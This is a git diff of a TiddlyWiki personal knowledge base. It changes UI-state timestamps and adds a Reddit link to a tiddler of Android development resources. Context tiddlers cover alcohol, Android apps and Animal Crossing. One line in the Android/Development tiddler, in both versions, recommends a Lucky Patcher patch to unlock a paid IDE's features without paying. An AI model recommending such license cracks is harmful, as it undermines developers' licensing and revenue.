diff --git a/-1.html b/-1.html
index 4890a41b..caf0d9e0 100644
--- a/-1.html
+++ b/-1.html
@@ -751,7 +751,8 @@
{"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"},
{"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"},
{"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"},
-{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/search-list/selected-item--1546365138","created":"20240119163604538","creator":"Octt","modified":"20240119165435451","modifier":"Octt","text":"Development/Resources-secondaryList"},
+{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"},
{"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"},
{"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"},
@@ -792,8 +793,8 @@
{"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"},
{"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"},
{"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"},
-{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110101100366","modifier":"Octt","text":"OcttKB/Index"},
+{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240119172425357","modifier":"Octt","text":"OcttKB/Index"},
{"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"},
{"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"},
{"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"},
@@ -1074,7 +1075,7 @@
{"title":"Alcohol","created":"20230301072812914","creator":"Octt","modified":"20230301080112072","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Alcohol en>>\n\n!!! ''Ethanol''\n\n\u003C\u003C^wikipediaframe Ethanol en>>\n\n; [[A proposito di alcol|https://saldimentali.wordpress.com/2020/01/27/a-proposito-di-alcol/]]\n: I danni sociali dell'alcol sono numerosi e di alta portata\n: \u003Cdiv> \n\nร sempre stato cosรฌ ma oggi\n\n* Dovrebbe essere piรน ovvio grazie ai moderni mezzi che permettono rapida diffusione globale di notizie e conoscenza.\n* Chi ha una vita comune non ha bisogno di sfasciarsi con l'alcol o fare altre cose pericolose/dannose per emozioni momentanee, la vita per quanto piena di problemi รจ comunque migliore di quella dei nostri antenati.\n\u003C/div>\n\n; [[No level of alcohol consumption is safe for our health|https://www.who.int/europe/news/item/04-01-2023-no-level-of-alcohol-consumption-is-safe-for-our-health]]\n: Alcohol is a toxic, psychoactive, and dependence-producing substance classified as a Group 1 carcinogen.\n: Risks potentially start from the first drink, as no minimum level of consumption has ben identified from which the risks start, and that below it are absent.\n: The general population is indoctrinated by culture and often ignores the toxic properties of alcohol.\n: Poorer people are at higher health risks with alcohol due to generally more uncontrolled drinking patterns.\n: Like with cigarettes, we need health labels on alcohol products.\n\n!!! ''Isopropanol''\n\n\u003C\u003C^wikipediaframe Isopropanol en>>\n\n* Cheap like denaturated alcohol but it's natural, without strange chemical additives\n** Transparent instead of pink\n** Better for cleaning electronic components\n* More interesting chemical structure than ethanol\n"},
{"title":"Android","created":"20230202230035698","creator":"Octt","icon":"๐ค","modified":"20240108001321956","modifier":"Octt","page-cover":"https://source.unsplash.com/random?android","tags":"OS Google Linux","text":"\u003C\u003C^wikipediaframe Android_(operating_system) en >>\n\n\u003C!--\n!! ''Try it Now''\n\n\u003Csmall>60-seconds hit and run demo\u003C/small>\n\n\u003C\u003CiFrameBypassFixed \"https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\">>\n-->\n\n!! ''Resources''\n\n//Note: some resources that are related to Android but also closely Java may be included under the [[Java]] section.//\n\n* [[F-Droid|https://f-droid.org/]] --- //installable catalogue of FOSS (Free and Open Source Software) applications for the Android platform// --- \u003C\u003C[# Git\"https://gitlab.com/fdroid\">>\n* [[Kali NetHunter App Store|https://store.nethunter.com/en/]] --- //installable catalogue of Android applications for penetration testing and forensics// --- \u003C\u003C[# Git\"https://gitlab.com/kalilinux/nethunter/store/\">>\n\n* //''\u003C\u003CFDroidLink com.github.tmo1.sms_ie \"SMS Import / Export\">>'' is a simple Android app that imports and exports SMS and MMS messages, call logs, and contacts from and to JSON / NDJSON files.// --- \u003C\u003C[# Git\"https://github.com/tmo1/sms-ie\">>\n* \u003C\u003CFDroidLink org.sufficientlysecure.ical \"Calendar Import-Export\">> --- //Import/export your Android calendars as ics files without using the Google cloud// --- \u003C\u003C[# Git\"https://github.com/SufficientlySecure/calendar-import-export\">>\n** This seems to work better, but UX is worse: [[iCal Import/Export CalDAV|https://apkpure.com/ical-import-export-caldav/tk.drlue.icalimportexport]]\n* \u003C\u003CFDroidLink ryey.easer Easer>> --- //User-defined explicit automation for Android// --- \u003C\u003C[# Git\"https://github.com/renyuneyun/Easer\">>\n* [[Automate|https://llamalab.com/automate/]] (freemium) --- //Make your phone or tablet smarter with automation// --- [\u003C\u003CGPlayLink com.llamalab.automate>>]\n* [[MacroDroid|https://www.macrodroid.com/]] --- //Make your phone truly smart with the number one automation app on Android// --- \u003C\u003CGPlayLink com.arlosoft.macrodroid>>\n\n* [[All you need to know about LOST.DIR folder on Android devices|http://thesundaycoder.blogspot.com/2014/06/all-you-need-to-know-about-lostdir.html]]\n* [[What Is a NOMEDIA File?|https://androidforums.com/threads/whats-a-nomedia-file.307529/]] --- An empty file called `.nomedia` is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such.\n* [[I found a hidden folder called \".face\" on my phone. It is full of faces cropped from pictures I've taken or downloaded.|https://xdaforums.com/t/face-folder-is-choking-with-thousands-of-files.1929380/]] --- it's apparently a Samsung thing (can't understand if it also happens on other ROMs), a cache for the built-in gallery face recognition system... only question is, why is this just on `/sdcard` and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not --- also see on \u003C\u003CRedditL r/Android/comments/2jm9j7/i_found_a_hidden_folder_called_face_on_my_phone/>>\n* [[How to Downgrade an Android App Using ADB Without Losing Data|https://www.makeuseof.com/downgrade-android-app-with-adb/]]\n\n* [[SDK Platform release notes|https://developer.android.com/tools/releases/platforms]] --- //release information about the SDK packages available//\n\n!!! ''Emulation / Containerization''\n\n* ''Anbox'' (discontinued) - //Android in a Box// - [[[Git|https://github.com/anbox]]]\n* Android Studio Emulator (see below)\n* https://www.apkonline.net/free-android-online-emulator\n* https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\n* https://www.bluestacks.com/\n* ''[[WayDroid|https://waydro.id/]]'' - //container-based approach to boot a full Android system on a regular GNU/Linux system// - [[[Git|https://github.com/waydroid]]]\n* [[docker-android|https://github.com/budtmo/docker-android]] --- //Android in docker solution with noVNC supported and video recording// --- Many system options but subpar performance (high latency) and weird UI, don't reccomend.\n\n* [[VirtualXposed|https://vxposed.com/]] --- Secondary app container for Android with virtualized root access (totally broken on Android >= 12) --- \u003C\u003C#[ Git \"https://github.com/android-hacker/VirtualXposed\">>\n* [[VMOS|https://www.vmos.com/]], VPhoneGaga --- Apps for virtualizing an almost-full Android system with only userspace access (apparently don't work on Android 13+)\n\n\u003C\u003C{^ \"\"\"Android/Development\"\"\">>\n\n!!! ''Memes''\n* [[POV: You bought a Samsung House in the year 2030|https://t.me/ioctt/19547]]\n"},
{"title":"Android/Apps","created":"20230205151705787","creator":"Octt","modified":"20231221161159437","modifier":"Octt","tags":"","text":"List of some Android apps to keep in mind that are not mentioned in any other tiddler.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* ibisPaint X\n* Linux Deploy \n* Material Files\n* Mi Remote\n* MiXplorer\n* Music Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* PCAPdroid\n* PocketMaps\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* WiGLE WiFi\n"},
-{"title":"Android/Development","created":"20230217221957113","creator":"Octt","modified":"20231224164734893","modifier":"Octt","tags":"","text":"!!! ''Development''\n\n* [[ADB (Android Debug Bridge)|https://developer.android.com/tools/adb]]\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n* [[Android Webview - Completely Clear the Cache|https://stackoverflow.com/questions/2465432/android-webview-completely-clear-the-cache]] --- `webview.clearCache(true);` (note, this doesn't automatically reload the page)\n* [[How to implement @JavascriptInterface for android webview in Kotlin|https://stackoverflow.com/questions/62937014/how-to-implement-javascriptinterface-for-android-webview]]\n* [[Android Calling JavaScript functions in WebView|https://stackoverflow.com/questions/4325639/android-calling-javascript-functions-in-webview/31291128#31291128]] --- `webview.evaluateJavascript(\"obj()\", null)` on >= 4.4, otherwise `webview.loadUrl(\"javascript:obj()\")`\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: [[How to rename an Android Studio Project|https://www.delasign.com/blog/android-studio-rename-project/]] --- //A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.//\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n* [[Best way to secure Android app sensitive Data?|https://stackoverflow.com/questions/8184492/best-way-to-secure-android-app-sensitive-data/8184699#8184699]]\n* [[New Android Project named after Main Activity instead of app name|https://stackoverflow.com/questions/12084299/new-android-project-named-after-main-activity-instead-of-app-name]] --- //In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: `\u003Cactivity ... > \u003Cintent-filter android:label=\"@string/app_name\"> ...`//\n* [[Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)|https://stackoverflow.com/questions/69565210/proper-way-to-create-and-access-broadcastreceiver-inside-mainactivity-kotlin/69600790#69600790]]\n* [[Android check SharedPreferences for value type|https://stackoverflow.com/questions/29615920/android-check-sharedpreferences-for-value-type]] --- contains a solution for directly getting any item regardless of type, via `sharedPrefs?.all`\n* [[Detecting & sending SMS on Android ๐ฎ|http://web.archive.org/web/20220120020100/https://joaquimley.com/blog/detect-send-sms-android]] \u003C\u003C[# \"On Medium\" \"https://medium.com/android-news/detecting-sending-sms-on-android-8a154562597f\">>\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]\n: [[Flashing Stock or Custom Firmware with Heimdall (on linux)|https://www.simernes.com/?p=279]]\n"},
+{"title":"Android/Development","created":"20230217221957113","creator":"Octt","modified":"20240119145813252","modifier":"Octt","tags":"","text":"!!! ''Development''\n\n* \u003C\u003CRedditL r/androiddev/comments/18ysf26/why_is_the_android_documentation_so_poor/ \"Why is the android documentation so poor?\">>\n\n* [[ADB (Android Debug Bridge)|https://developer.android.com/tools/adb]]\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n* [[Android Webview - Completely Clear the Cache|https://stackoverflow.com/questions/2465432/android-webview-completely-clear-the-cache]] --- `webview.clearCache(true);` (note, this doesn't automatically reload the page)\n* [[How to implement @JavascriptInterface for android webview in Kotlin|https://stackoverflow.com/questions/62937014/how-to-implement-javascriptinterface-for-android-webview]]\n* [[Android Calling JavaScript functions in WebView|https://stackoverflow.com/questions/4325639/android-calling-javascript-functions-in-webview/31291128#31291128]] --- `webview.evaluateJavascript(\"obj()\", null)` on >= 4.4, otherwise `webview.loadUrl(\"javascript:obj()\")`\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: [[How to rename an Android Studio Project|https://www.delasign.com/blog/android-studio-rename-project/]] --- //A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.//\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n* [[Best way to secure Android app sensitive Data?|https://stackoverflow.com/questions/8184492/best-way-to-secure-android-app-sensitive-data/8184699#8184699]]\n* [[New Android Project named after Main Activity instead of app name|https://stackoverflow.com/questions/12084299/new-android-project-named-after-main-activity-instead-of-app-name]] --- //In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: `\u003Cactivity ... > \u003Cintent-filter android:label=\"@string/app_name\"> ...`//\n* [[Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)|https://stackoverflow.com/questions/69565210/proper-way-to-create-and-access-broadcastreceiver-inside-mainactivity-kotlin/69600790#69600790]]\n* [[Android check SharedPreferences for value type|https://stackoverflow.com/questions/29615920/android-check-sharedpreferences-for-value-type]] --- contains a solution for directly getting any item regardless of type, via `sharedPrefs?.all`\n* [[Detecting & sending SMS on Android ๐ฎ|http://web.archive.org/web/20220120020100/https://joaquimley.com/blog/detect-send-sms-android]] \u003C\u003C[# \"On Medium\" \"https://medium.com/android-news/detecting-sending-sms-on-android-8a154562597f\">>\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]\n: [[Flashing Stock or Custom Firmware with Heimdall (on linux)|https://www.simernes.com/?p=279]]\n"},
{"title":"Android/Easter Eggs","created":"20230227223950556","creator":"Octt","modified":"20230227224447992","modifier":"Octt","tags":"","text":"!!! ''Android 7 (Nougat)''\n\n...\n\n!!! ''Android 11''\n\n; The Hidden\n: It's a re-proposal of Nougat's hidden cats egg\n"},
{"title":"Animal Crossing","created":"20230110225425199","creator":"Octt","icon":"๐","modified":"20231111000325649","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Animal_Crossing","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^wikipediaframe \"Animal Crossing\">>\n\n; What I like\n: The games' atmosphere is totally relaxing, with its cartoon style and time-based ambient music, you just stay in the chill.\n: There are year-based events, like festivities happening at specific times, or non-festive occourrences that sometimes happen (tournaments and the like).\n: The game is generally open-ended; you have set goals you can pursue but are in general free to do all the game's activities.\n: A kind of lore is present (but more in the older games). Very intriguing because it's kind of hidden and made from many different fragments.\n\n; What I don't like\n: Every new game has been more soulless than the previous, making the dialogues less engaging, more shallow and repetitive. \u003Cdd>\nThis is a shared sentiment: (TODO: link videos, forum threads, and other resources here)\n\u003C/dd> \u003Cdd>\nFor example, in New Horizons every animal villager is simply its personaliity stereotype, and doesn't really have an unique identity.\n\u003C/dd>\n: Since the games are closed-source, it would be almost impossible to mod one to fix the bad parts and unite the good parts from all games (in fact, no one has successfully done it yet, only minor mods and cheats exist).\n: [[Some festivities are exclusive|https://nookipedia.com/wiki/Event/New_Leaf]] to the release of the game in specific reason, and some releases only have some languages, and I know this is to make the game paletable and relatable to the general public, but it pisses me off. \u003Cdd>\nI can't for example really play Japan festivities because only the Japan ROM includes them, but that ROM only includes the Japanese language, which I don't understand.\n\u003C/dd>\n: The above used to apply to features too, for what concerns the GameCube game, but fan translation projects of the Japanese GameCube games exist today\n\n!!! ''Resources''\n\n* [[Decompilation of Animal Forest (zeldaret)|https://github.com/zeldaret/af]]\n* [[ac-decomp|https://github.com/Prakxo/ac-decomp]] --- //Decompilation in progress of Animal Crossing for the Nintendo GameCube//\n* [[marcrobledo acnl-editor|https://www.marcrobledo.com/acnl-editor/]] --- //An Animal Crossing: New Leaf savegame editor made in HTML5// --- \u003C\u003C#[ Git \"https://github.com/marcrobledo/acnl-editor\">>\n\n; Content\n\n: \u003Cdt> Animali Crostini ๐ (Animal Crossing Moments)\n\u003C/dt> \u003Cdd> [[Telegram]]: [[@Animali_Crostini|https://t.me/Animali_Crostini]] - \u003C\u003C[ \"[[Backup|https://t.me/+nrhr1RXuNc4xMjJh]]\">> \n\u003C/dd> \u003Cdd> [[Matrix]]: \u003C\u003CMatrixLink \"#Animali_Crostini:matrix.org\" \"#Animali_Crostini:matrix.org\">> \n\u003C/dd>\n\n: [[JVGS|https://www.jvgs.net/]] (blogs, documentation, microblogs, YouTube)\n"},
{"title":"Anti-Capitalist Software License:en","created":"20230128233320444","creator":"Octt","modified":"20230206111552063","modifier":"Octt","tags":"TODO Legal $:/i18n:en","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n"},
@@ -1102,7 +1103,7 @@
{"title":"C++","created":"20231115233135878","creator":"Octt","modified":"20231223210119928","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe C++>>\n\n* [[ISO C++ Standard Foundation|https://isocpp.org/]]\n* [[mixing c and cpp|https://isocpp.org/wiki/faq/mixing-c-and-cpp]]\n** [[What is the effect of extern \"C\" in C++?|https://stackoverflow.com/questions/1041866/what-is-the-effect-of-extern-c-in-c]], and how to use it in practice to effectively mix C and C++\n* [[mingw - compiling g++ programs for windows 98?|https://stackoverflow.com/questions/25596221/g-programs-for-windows-98#50849554]]\n"},
{"title":"Calculator","created":"20230215213812453","creator":"Octt","modified":"20230217143401588","modifier":"Octt","text":"\u003C\u003C^WikipediaFrame Calculator en>>\n\n!!! ''Resources''\n\n; Some Calculators\n: \u003C\u003CYoutubeL Ong91Ji3iDk \"EEVblog #1159 - World's Most Precise Pocket Calculator\">>\n\n; Curiosities\n: \u003C\u003CYoutubeL waqDoeQ0Ijw \"Calculator Number Trick: rectangle patterns [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL ihK6MKbHvSc \"How does a calculator work? The magic of the 8-digit four function calculator\">>\n: (Casio) \u003C\u003CYoutubeL 7LKy3lrkTRA \"Why do calculators get this wrong? (We don't know!) [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL dTLhXHyzfEM \"Whats Inside Black Stuff in Calculator Circuit board IC\">>\n\n; DIY, Hacks, Reuses\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL dJoKl0LK5jM \"HHC 2019: DIY Calculators\">>\n* \u003C\u003CYoutubeL lJu1ij_Emlk \"Ben Heckโs DIY Raspberry Pi Calculator\">>\n* \u003C\u003CYoutubeL HeJPX-fPN6Y \"DIY graphics calculator galdeano02 hardware\">> - //A DIY calculator, programed in micropython, a custom version with lvgl widgets and Eigenmath, a CAS engine//\n* \u003C\u003CYoutubeL m1aFRhqvuLM \"IVEE - a Powerful Programable RPN Calculator based on FORTH and Arduino\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL QlpZyf7hKg8 \"Coil winding counter from old calculator - home made DIY ืืื ื ืืืคืืฃ ืกืืืืื\">>\n** \u003C\u003CYoutubeL TWPS0lI33Mc \"How to make a calculator coil winding counter with a retractable USB cable\">>\n\u003C/div>\n: \u003C\u003CYoutubeL U8DnuSo8SV4 \"EEVblog #962 - Hacking A Calculator Into A Counter\">>\n: \u003C\u003CYoutubeL T9alyB4fznw \"Hacking a pocket calculator as LCD for the Arduino\">>\n: \u003C\u003CYoutubeL EzkUPGPEVp8 \"Turning my High School Calculator into a Mechanical Keyboard. 1 Year Review. [TheLastMillennial]\">>\n\n; Memes\n: [[Fuck man, the Mulino Bianco calculator can make Square Root|https://web.archive.org/web/20230217134036id_/https://i.imgur.com/sM5KmoK.png]]\n: \u003C\u003CYoutubeL \"PLt5AfwLFPxWKAINNfxIdYmFVKuk_F_cQq\" \"Calculator Unboxings on Numberphile\" \"playlist?list=\">>\n: \u003C\u003CYoutubeL Mp_8OqCbFt4 \"POWER OF GAMING CALCULATOR๐ฑโก\">>\n: \u003C\u003CYoutubeL AAw1JjN-7u0 \"When You Are Game Addicted - Casio Calculator Play Racing Game Asphalt\">>\n"},
{"title":"Candle","created":"20230225111237015","creator":"Octt","icon":"๐ฏ๏ธ","modified":"20230225111724354","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Candle","tags":"","text":"\u003C\u003C^wikipediaframe Candle en>>"},
